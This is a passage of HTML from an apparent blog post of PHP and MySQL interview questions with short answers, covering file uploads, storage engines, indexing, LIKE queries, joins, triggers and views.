<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>8 ) When a file is uploaded to the sever how can you check whether its uploaded or not ?</b></span></div>
<div style="line-height: 18px;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>Ans:</b></span></div>
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;"><br /></span>
<br />
<div class="verinfo" style="line-height: normal; text-align: -webkit-auto;">
<span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif;">(PHP 4 >= 4.0.3, PHP 5)</span></div>
<div class="refpurpose" style="line-height: normal; text-align: -webkit-auto;">
<span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif;"><span class="refname">is_uploaded_file</span> — <span class="dc-title">Tells whether the file was uploaded via HTTP POST.</span></span></div>
<div class="refpurpose" style="line-height: normal; text-align: -webkit-auto;">
<span class="dc-title"><span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif;">is_uploaded_file($_FILES['userfile']['tmp_name']);</span></span></div>
<div class="refpurpose" style="line-height: normal; text-align: -webkit-auto;">
<span class="dc-title" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif;">Returns <b><tt>TRUE</tt></b> on success or <b><tt>FALSE</tt></b> on failure.</span></div>
<div class="refpurpose" style="line-height: normal; text-align: -webkit-auto;">
<span class="dc-title" style="background-color: white; font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div class="refpurpose" style="line-height: normal; text-align: -webkit-auto;">
<span class="dc-title" style="background-color: white;"><span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>9 ) How will you move the uploaded file to another location of server ?</b></span></span></div>
<div class="refpurpose" style="line-height: normal; text-align: -webkit-auto;">
<span class="dc-title" style="background-color: white;"><span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>Ans:</b></span></span></div>
<div class="refpurpose" style="line-height: normal; text-align: -webkit-auto;">
<span class="dc-title" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif;"><span class="refname">move_uploaded_file</span> — <span class="dc-title">Moves an uploaded file to a new location.</span></span></div>
<div class="refpurpose" style="line-height: normal; text-align: -webkit-auto;">
<span class="dc-title"><span class="dc-title" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif;"><br /></span></span></div>
<div class="refpurpose" style="line-height: normal; text-align: -webkit-auto;">
<span class="dc-title"><span class="dc-title" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif;">This function checks to ensure that the file designated by <i><tt class="parameter">filename</tt></i> is a valid upload file (meaning that it was uploaded via PHP's HTTP POST upload mechanism). </span></span></div>
<div class="refpurpose" style="line-height: normal; text-align: -webkit-auto;">
<span class="dc-title"><span class="dc-title" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif;">If the file is valid, it will be moved to the filename given by <i><tt class="parameter">destination</tt></i>.</span></span></div>
<div class="refpurpose" style="line-height: normal; text-align: -webkit-auto;">
<span class="dc-title"><span class="dc-title" style="background-color: white; font-family: Arial, Helvetica, sans-serif;"><br /></span></span></div>
<div class="refpurpose" style="line-height: normal; text-align: -webkit-auto;">
<span class="dc-title"><span class="dc-title" style="background-color: white;"><span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>10 ) What are the things that need to be checked before uploading a file ?</b></span></span></span></div>
<div class="refpurpose" style="line-height: normal; text-align: -webkit-auto;">
<span class="dc-title"><span class="dc-title" style="background-color: white;"><span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>Ans:</b></span></span></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="dc-title"><span class="dc-title" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">Check picture file type and size before file upload..</span></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="dc-title"><span class="dc-title" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">more details:</span></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="dc-title"><span class="dc-title" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><a href="http://php.net/manual/en/features.file-upload.php">http://php.net/manual/en/features.file-upload.php</a></span></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="dc-title" style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="dc-title"><span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>11 ) How will you connect mysql ?</b></span></span><br />
<span class="dc-title"><span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>Ans:<span style="color: #38761d;"> </span></b><span style="color: #38761d;">Here u can get <a href="http://nelsondesai.blogspot.in/2011/12/connection-in-php.html" target="_blank">Click Here</a></span></span></span><br />
<span class="dc-title"><span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b><br /></b></span></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="dc-title"><span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>12 ) Does PHP supports PDF creation ?</b></span></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="dc-title"><span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>Ans:</b></span></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="dc-title" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;"><span class="Apple-style-span" style="background-color: white;">The PDF functions in PHP can create PDF files using the PDFlib library which was initially created by Thomas Merz and is now maintained by </span>» PDFlib GmbH<span class="Apple-style-span" style="background-color: white;">.</span></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="dc-title"><span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif;"><br /></span></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="dc-title"><span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif;">Starting with PHP 4.0.5, the PHP extension for PDFlib is officially supported by PDFlib GmbH. This means that all the functions described in the PDFlib Reference Manual are supported by PHP 4 with exactly the same meaning and the same parameters. </span></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="dc-title"><span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif;"><br /></span></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="dc-title"><span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>13 ) What are the storage types in MySQL ?</b></span></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="dc-title"><span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>Ans:</b></span></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="dc-title"><span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">13.1. The MyISAM Storage Engine[default engine]</span></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="dc-title"><span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">13.2. The InnoDB Storage Engine </span></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="dc-title"><span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">13.3. The MERGE Storage Engine </span></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="dc-title"><span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">13.4. The MEMORY (HEAP) Storage Engine</span></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="dc-title"><span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">13.5. The BDB (BerkeleyDB) Storage Engine</span></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="dc-title"><span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">13.6. The EXAMPLE Storage Engine</span></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="dc-title"><span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">13.7. The FEDERATED Storage Engine</span></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="dc-title"><span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">13.8. The ARCHIVE Storage Engine</span></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="dc-title"><span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">13.9. The CSV Storage Engine</span></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="dc-title"><span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">13.10. The BLACKHOLE Storage Engine</span></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="dc-title"><span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><br /></span></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="dc-title"><span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">more details</span></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="dc-title" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;"><a href="http://dev.mysql.com/doc/refman/5.0/en/storage-engines.html">http://dev.mysql.com/doc/refman/5.0/en/storage-engines.html</a></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>14 ) What is the difference between InnoDb and MyISAM ?</b></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>Ans:</b></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
</div>
<ul style="background-color: white; line-height: 1.5em; margin-bottom: 1.2em; margin-left: 2em; margin-right: 0px; margin-top: 1.2em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left;">
<li><span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">The big difference between MySQL Table Type MyISAM and InnoDB is that InnoDB supports transaction</span></li>
<li><span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">InnoDB supports some newer features: Transactions, row-level locking, foreign keys</span></li>
<li><span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">InnoDB is for high volume, high performance</span></li>
</ul>
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<br />
<div class="refpurpose" style="line-height: normal; text-align: -webkit-auto;">
<span class="dc-title"><span class="dc-title" style="background-color: white;"><span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>15 ) Does MyISAM supports relations ?</b></span></span></span></div>
<div class="refpurpose" style="text-align: -webkit-auto;">
<div style="line-height: normal;">
<span class="dc-title"><span class="dc-title" style="background-color: white;"><span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>Ans: </b></span></span></span><span style="color: #38761d;"><span style="font-family: Arial, Helvetica, sans-serif; line-height: 23px;">InnoDB has </span><span style="font-family: Arial, Helvetica, sans-serif; line-height: 23px; margin: 0px; padding: 0px;">foreign keys</span><span style="font-family: Arial, Helvetica, sans-serif; line-height: 23px;"> and relationship contraints while MyISAM does not.</span></span></div>
<div style="line-height: normal;">
</div>
<div class="refpurpose">
<span class="dc-title"><span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><br /></span></span>
<span class="dc-title"><span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">more details</span></span></div>
<div class="refpurpose">
<a href="http://www.kavoir.com/2009/09/mysql-engines-innodb-vs-myisam-a-comparison-of-pros-and-cons.html"><span style="color: #38761d;">http://www.kavoir.com/2009/09/mysql-engines-innodb-vs-myisam-a-comparison-of-pros-and-cons.html</span></a></div>
<br />
<div style="line-height: normal;">
<span class="dc-title"><span class="dc-title" style="background-color: white;"><span style="color: #4c4c49; font-family: Arial, 'Helvetica Neue', Helvetica, sans-serif; font-size: 15px; line-height: 23px;"><br /></span></span></span></div>
</div>
<div class="refpurpose" style="line-height: normal; text-align: -webkit-auto;">
<span class="dc-title"><span class="dc-title" style="background-color: white;"><span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><br /></span></span></span></div>
<div class="refpurpose" style="line-height: normal; text-align: -webkit-auto;">
<span class="dc-title"><span class="dc-title" style="background-color: white;"><span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>16 ) What’s indexing ?</b></span></span></span></div>
<div class="refpurpose" style="line-height: normal; text-align: -webkit-auto;">
<span class="dc-title"><span class="dc-title" style="background-color: white;"><span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>Ans:</b></span></span></span></div>
<div class="refpurpose" style="line-height: normal; text-align: -webkit-auto;">
<span class="dc-title"><span class="dc-title" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif;"><span class="Apple-style-span" style="line-height: 19px;">A </span><span style="line-height: 19px;"><i>database index</i></span><span class="Apple-style-span" style="line-height: 19px;"> is a </span>data structure<span class="Apple-style-span" style="line-height: 19px;"> that improves the speed of data retrieval operations on a </span>database table<span class="Apple-style-span" style="line-height: 19px;"> at the cost of slower writes and increased storage space.</span></span></span></div>
<div class="refpurpose" style="line-height: normal; text-align: -webkit-auto;">
<span class="dc-title"><span class="dc-title" style="background-color: white;"><span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 19px;"><br /></span></span></span></div>
<div class="refpurpose" style="line-height: normal; text-align: -webkit-auto;">
<span class="dc-title"><span class="dc-title" style="background-color: white;"><span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>17 ) MySQL is case sensitive or case insensitive ?</b></span></span></span></div>
<div class="refpurpose" style="line-height: normal; text-align: -webkit-auto;">
<span class="dc-title"><span class="dc-title" style="background-color: white;"><span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>Ans:</b></span></span></span></div>
<div class="refpurpose" style="line-height: normal; text-align: -webkit-auto;">
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;"><span class="dc-title"><span class="dc-title" style="background-color: white;"><span class="Apple-style-span" style="line-height: 16px;"> </span></span></span><span class="Apple-style-span" style="background-color: #fafafa;">SQL itself isn't case sensitive, but it can be on searching data, all depends on the table collation settings.</span></span></div>
<div class="refpurpose" style="line-height: normal; text-align: -webkit-auto;">
<span class="Apple-style-span" style="background-color: #fafafa; color: #38761d; font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div class="refpurpose" style="line-height: normal; text-align: -webkit-auto;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"><span class="Apple-style-span" style="background-color: #fafafa; color: #38761d;">MySQL syntax is not case sensitive, you can write</span></span><br />
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"><span class="Apple-style-span" style="background-color: #fafafa; color: #38761d;">SELECT * FROM table WHERE ... </span></span><br />
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"><span class="Apple-style-span" style="background-color: #fafafa; color: #38761d;">or</span></span><br />
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"><span class="Apple-style-span" style="background-color: #fafafa; color: #38761d;">select * from table where...</span></span><br />
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"><span class="Apple-style-span" style="background-color: #fafafa; color: #38761d;">or</span></span><br />
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"><span class="Apple-style-span" style="background-color: #fafafa; color: #38761d;">SeLEct * FroM table WHerE</span></span><br />
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"><span class="Apple-style-span" style="background-color: #fafafa; color: #38761d;">or whatever else you want.</span></span><br />
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;"><br style="background-color: #fafafa;" /></span>
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"><span class="Apple-style-span" style="background-color: #fafafa; color: #38761d;">On select queries you can search for case sensitive fields values, in example if you want to find "text" inside a field but not "TEXT", "Text".... you can use</span></span><br />
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;"><br style="background-color: #fafafa;" /></span>
<span class="Apple-style-span" style="background-color: #fafafa; color: #38761d; font-family: Arial, Helvetica, sans-serif;">SELECT * FROM table WHERE binary(fieldname)='text';</span></div>
<div class="refpurpose" style="line-height: normal; text-align: -webkit-auto;">
<span class="dc-title"><span class="dc-title" style="background-color: white; font-family: Arial, Helvetica, sans-serif;"><br /></span></span></div>
</div>
<div style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: both; margin-bottom: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: baseline; word-wrap: break-word;">
<div style="line-height: 18px;">
<span class="Apple-style-span" style="line-height: 21px;"><span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif;"><b>18 ) You have a table say user with field name and data’s Lokam , loker , lover , Lough , Lost , Enough , Elephant etc . Write a query which gives all the terms Lokam , loker , lover , Lough and Lost .</b></span></span></div>
<div>
<div style="line-height: 18px;">
<span class="Apple-style-span" style="line-height: 21px;"><span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif;"><b><br /></b></span></span></div>
<div style="line-height: 18px;">
<span class="Apple-style-span" style="line-height: 21px;"><span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif;"><b>Ans: </b></span></span><span style="color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">SELECT * FROM `user` WHERE `name` LIKE 'lo%' ;</span></div>
<div style="line-height: normal;">
<span style="background-color: white;"><span style="color: #38761d; font-family: Arial, Helvetica, sans-serif;"><span style="line-height: 21px;"><br /></span></span></span></div>
<div style="line-height: 18px;">
<span style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">any questions ask me in comments...</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><br /></span></div>
</div>
<div style="line-height: 18px;">
<span class="Apple-style-span" style="line-height: 21px;"><span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif;"><b>19 ) Now you want to select only the loker , lover . What will you add to get this result ?</b></span></span></div>
<div>
<div style="line-height: 18px;">
<span class="Apple-style-span" style="line-height: 21px;"><b style="background-color: white; font-family: Arial, Helvetica, sans-serif;"><br /></b></span></div>
<div style="line-height: 18px;">
<span class="Apple-style-span" style="line-height: 21px;"><b style="background-color: white; font-family: Arial, Helvetica, sans-serif;">Ans: </b></span><span style="color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">SELECT * FROM `user` WHERE `name` LIKE 'lo%er' ;</span></div>
<div style="line-height: normal;">
<span class="Apple-style-span"><span style="background-color: white;"><span style="color: #38761d; font-family: Arial, Helvetica, sans-serif;"><span style="line-height: 21px;"><br /></span></span></span></span></div>
<div style="line-height: normal;">
<span class="Apple-style-span"><span style="background-color: white;"><span style="color: #38761d; font-family: Arial, Helvetica, sans-serif;"><span style="line-height: 21px;">any questions ask me in comments...</span></span></span></span></div>
</div>
<div style="line-height: 18px;">
<span class="Apple-style-span" style="line-height: 21px;"><span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif;"><b><br /></b></span></span></div>
<div style="line-height: 18px;">
<b><span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"></span></b></div>
<div style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; line-height: 18px; margin-bottom: 15px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>20 ) Let there is table user with name and marks . How will you select the second largest number from this table ? For eg let the data’s are</b></span><br />
<b style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;">hari 23 , jenson 10 , ruby 20 , rijith 10 . You want to select 20 from this.</b><br />
<b style="font-family: Arial, Helvetica, sans-serif; line-height: 21px; text-align: left;"><br /></b>
<b style="font-family: Arial, Helvetica, sans-serif; line-height: 21px; text-align: left;">Ans: </b><br />
<span style="background-color: white;"><span style="color: #38761d; font-family: Arial, Helvetica, sans-serif;"><span style="line-height: 21px;">SELECT * FROM user WHERE marks = (SELECT MAX(marks) FROM user WHERE marks < (SELECT MAX(marks) FROM user)) ORDER BY marks DESC LIMIT 0,1 </span></span></span><br />
<span style="background-color: white;"><span style="color: #38761d; font-family: Arial, Helvetica, sans-serif;"><span style="line-height: 21px;"><br /></span></span></span>
<span style="background-color: white;"><span style="color: #38761d; font-family: Arial, Helvetica, sans-serif;"><span style="line-height: 21px;">any questions ask me in comments...</span></span></span><br />
<b style="font-family: Arial, Helvetica, sans-serif; line-height: 21px; text-align: left;"><br /></b></div>
<div style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;">
<div style="line-height: 18px;">
<b style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;">21 ) What are the different types of JOINS ?</b></div>
<div style="line-height: 18px;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>Ans:</b></span></div>
<div style="line-height: 18px;">
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><span class="Apple-style-span" style="line-height: normal;">A join combines records from two or more tables in a relational database. In the Structured Query Language (SQL), there are two types of joins: "inner" and "outer". Outer joins are subdivided further into left outer joins, right outer joins, and full outer joins.</span><br style="line-height: normal;" /><span class="Apple-style-span" style="line-height: normal;"><br /></span></span></div>
<div style="line-height: 18px;">
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><span class="Apple-style-span" style="line-height: normal;">Inner join</span><br style="line-height: normal;" /><span class="Apple-style-span" style="line-height: normal;">This is the default join method if nothing else is specified. An inner join essentially finds the intersection between the two tables. The join takes all the records from table A and finds the matching record(s) from table B. If no match is found, the record from A is not included in the results. If multiple results are found in B that match the predicate then one row will be returned for each (the values from A will be repeated).</span><br style="line-height: normal;" /><span class="Apple-style-span" style="line-height: normal;">Special care must be taken when joining tables on columns that can be NULL since NULL values will never match each other</span><br style="line-height: normal;" /><span class="Apple-style-span" style="line-height: normal;"><br /></span></span></div>
<div style="line-height: 18px;">
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><span class="Apple-style-span" style="line-height: normal;">Left outer join</span><br style="line-height: normal;" /><span class="Apple-style-span" style="line-height: normal;">A left outer join is very different from an inner join. Instead of limiting results to those in both tables, it limits results to those in the "left" table (A). This means that if the ON clause matches 0 records in B, a row in the result will still be returned—but with NULL values for each column from B.</span><br style="line-height: normal;" /><br style="line-height: normal;" /><span class="Apple-style-span" style="line-height: normal;">Right outer join</span><br style="line-height: normal;" /><span class="Apple-style-span" style="line-height: normal;">A right outer join is much like a left outer join, except that the tables are reversed. Every record from the right side, B, will be returned, and NULL values will be returned for those that have no matching record in A.</span><br style="line-height: normal;" /><br style="line-height: normal;" /><span class="Apple-style-span" style="line-height: normal;">Full outer join</span><br style="line-height: normal;" /><span class="Apple-style-span" style="line-height: normal;">Full outer joins are the combination of left and right outer joins. These joins will show records from both tables, and fill in NULLs for missing matches on either side</span></span></div>
</div>
<div style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; line-height: 18px; margin-bottom: 15px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>22 ) What is LEFT , RIGHT , INNER joins ?</b></span><br />
<b style="font-family: Arial, Helvetica, sans-serif; line-height: 21px; text-align: left;">Ans:<span style="color: #38761d;"> </span></b><span style="color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px; text-align: left;">Here You Can get ful details..</span><br />
<a href="http://www.w3schools.com/sql/sql_join_inner.asp"><span style="color: #38761d;">http://www.w3schools.com/sql/sql_join_inner.asp</span></a><br />
<a href="http://www.w3schools.com/sql/sql_join_left.asp"><span style="color: #38761d;">http://www.w3schools.com/sql/sql_join_left.asp</span></a><br />
<a href="http://www.w3schools.com/sql/sql_join_right.asp"><span style="color: #38761d;">http://www.w3schools.com/sql/sql_join_right.asp</span></a><br />
<br /></div>
<div style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; line-height: 18px; margin-bottom: 15px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>23 ) Have you used Triggers ? What is it ?</b></span><br />
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>Ans:</b></span><br />
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><span class="Apple-style-span" style="line-height: 19px;">A </span><span style="line-height: 19px;"><i>database trigger</i></span><span class="Apple-style-span" style="line-height: 19px;"><i><b> </b></i>is </span>procedural code<span class="Apple-style-span" style="line-height: 19px;"> that is automatically executed in response to certain events on a particular </span>table<span class="Apple-style-span" style="line-height: 19px;"> or </span>view<span class="Apple-style-span" style="line-height: 19px;"> in a </span>database<span class="Apple-style-span" style="line-height: 19px;">.</span></span><br />
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><span class="Apple-style-span" style="color: #38761d; line-height: 19px;">The trigger is mostly used for keeping the integrity of the information on the database. </span></span><br />
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><span class="Apple-style-span" style="color: #38761d; line-height: 19px;">For example, when a new record (representing a new worker) is added to the employees table, new records should be created also in the tables of the taxes, vacations, and salaries.</span></span></div>
<div style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;">
<div style="line-height: 18px;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>24 ) What is Views in MySQL ?</b></span></div>
<div style="line-height: 18px;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>Ans:</b></span></div>
<div style="line-height: 18px;">
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><span class="Apple-style-span" style="line-height: 20px;">A database</span><span class="Apple-style-span" style="line-height: 20px; text-align: justify;"> View is known as a "virtual table" which allows you to query the data</span><span class="Apple-style-span" style="line-height: 20px; text-align: justify;"> in it. </span></span></div>
<div style="line-height: 18px;">
